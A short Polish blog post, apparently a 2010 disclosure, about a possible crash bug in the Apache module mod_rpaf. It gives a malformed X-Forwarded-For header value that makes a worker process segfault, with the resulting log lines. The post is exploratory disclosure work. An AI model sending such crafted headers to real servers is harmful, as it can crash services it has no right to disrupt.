Podatność w mod_rpaf? 14 June 2010

rpaf jest modułem wykorzystywanym w web serwerach rodziny Apache.

Zamienia zdalny adres klienta widoczny dla innych modułów Apache w momencie gdy dwa warunki zostają spełnione. Po pierwsze, zdalny klient to w zasadzie proxy, a drugi – jeśli istnieje nagłówek X-Forwarded-For. Wtedy rpaf zabiera ostatni widziany w headerze adres IP i zmienia REMOTE_ADDR na tą wartość. Jest to bardzo pomocne przy logowaniu prawdziwego adresu IP w sytuacji, gdzie przed web serwerem (lub całą farmą) stoi load balancer. Dzięki temu w access.log oraz error.log widzimy faktyczne adresy klientów, którzy przechodzą po drodze przez X węzłów, a nie adresy tych węzłów.

Ostatnia wersja: 0.6

OK, wstęp mamy za sobą. Teraz co się stanie, jeśli dodamy lub zmienimy nagłówek X-Forwarded-For dodając niewłaściwe wartości, jak to pokazałem poniżej?

x-forwarded-for: \’\”);|]*{
<

Apache 2.2.12 zgłosi błąd “400 bad request” po czym jeden wątek, który obsługiwał taki request zaliczy segmentation fault :)

# cat /var/log/apache2/access.log
IP.IP.IP.IP – – [14/Jun/2010:10:24:53 +0200] “GET / HTTP/1.1” 400 573 “referer: -” “-”

# cat /var/log/apache2/error.log
[Mon Jun 14 10:27:22 2010] [error] [client IP.IP.IP.IP] request failed: error reading the headers
[Mon Jun 14 10:27:31 2010] [notice] child pid 1877 exit signal Segmentation fault (11)

Czy to się da nadużyć bardziej? Na razie nie wiem.

Tagi: , , , , ,


Jedna odpowiedź do wpisu “Podatność w mod_rpaf?”

  1. nice post. thanks.

Zostaw odpowiedź